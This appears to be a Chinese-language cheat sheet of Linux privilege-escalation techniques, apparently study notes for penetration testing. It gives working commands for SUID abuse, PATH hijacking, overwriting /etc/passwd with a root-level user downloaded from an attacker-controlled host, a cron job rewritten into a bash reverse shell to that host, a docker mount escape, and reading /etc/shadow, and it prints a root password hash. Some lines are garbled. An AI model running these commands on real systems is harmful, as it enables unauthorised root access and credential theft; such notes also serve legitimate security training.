SUID是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行
时,使调用者暂时获得该文件拥有者的权限。也就是如果ROOT用户给某个可执行文件加了S权限,那么
该执行程序运行的时候将拥有ROOT权限
以下命令可以发现系统上运行的所有SUID可执行文件
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
-perm 表示搜索随后的权限
-u = s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
find提权
cd /tmp
touch ni
find ni -exec whoami \;
如果发现有ni这个文件就执行whoami这个命令
常见suid提权
nmap、vim、find、more、less、bash、cp、Nano、mv、awk、man、weget
passwd提权
通过OpenSSL passwd生成一个新的用户hacker,密码为hack123
openssl passwd -1 -salt moonhack 123456
1
1
1moonhack$4o50Z4aoUGaLMC0Rg4Io40
将其追加到kali的/etc/passwd文件中
将moonhacker:
1
1
1moonhack$4o50Z4aoUGaLMC0Rg4Io40:0:0:/root:/bin/bash追加到passwd中
moonhacker:$1$moonhack$4o50Z4aoUGaLMC0Rg4Io40:0:0:/root:/bin/bash
在Kali上启动一个python服务器
python -m SimpleHTTPServer 8080
将Kali上的passwd文件下载到靶机etc目录下并覆盖原来的passwd文件
wget http://192.168.1.15:8080/passwd -O /etc/passwd
然后切换到moonhack用户即可
suid提权之环境劫持
环境劫持需要的两个条件 存在带有suid的文件 suid文件存在系统命令
寻找suid文件
寻找suid文件
find / -perm -u=s -type f 2>/dev/null
运行发现是个查询进程的,应该使用了ps命令
在/tmp命令下 创建ps文件 里面使用 /bin/bash执
行命令
当tmp的路径添加到当前环境路径,再访问 /script目录 执行shell文件,允许的时候首先会采用/tmp目
录的ps文件作为命令
所以可以劫持root命令执行
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /script
./shell
John破解shadow root密文登录提权
john会自动检测密文类型
--wordlist 字段文件
`john --wordlist="/usr/share/wordlists/rockyou.txt" userpassw
root:$6$SblktEE6$.tpdPNBDyJVLw0LbeART/1dlTKyRE0j3s5S3czMmehp33gaZLueb9mwT2KPlp/7tVtjdwr75r.7sZAsXBV5GB/:17991:0:99999:7:::
Ubuntu计划任务反弹shell提权
当获取一个linux普通用户的时,查看计划任务
cat /etc/crontab
crontab -l 查看当前用户命令
tail -f /var/log/syslog
发现每一分钟执行一次cleanup.py
修改他的内容为bash反弹
vi /script/cleanup.py
bash -i >& /dev/tcp/192.168.1.15/8866 0>&1
docker 提权
docker是一个容器 可以在同一台机子虚拟多台服务。
输入命令id 和group 查询当前用户信息和组信息 发现存在docker组
输入命令下载使用容器把容器的目录挂载到宿主的根目录
docker run -v /:/mnt -it alpine
获得root权限
访问宿主的/etc/shadow
cat /mnt/etc/shadow
.sudo提权
sudo 是一种权限管理机制,管理员可以授权于一些普通用户去执行一些 root 执行的操作,而不需要知
道 root 的密码。
首先通过信息收集,查看是否存在sudo配置不当的可能。如果存在,寻找低权限sudo用户的密码,进而
提权。
sudo -l
列出目前用户可执行与无法执行的指令。
可以看到cat命令拥有root权限,可以读取所以文件
sudo cat /etc/shadow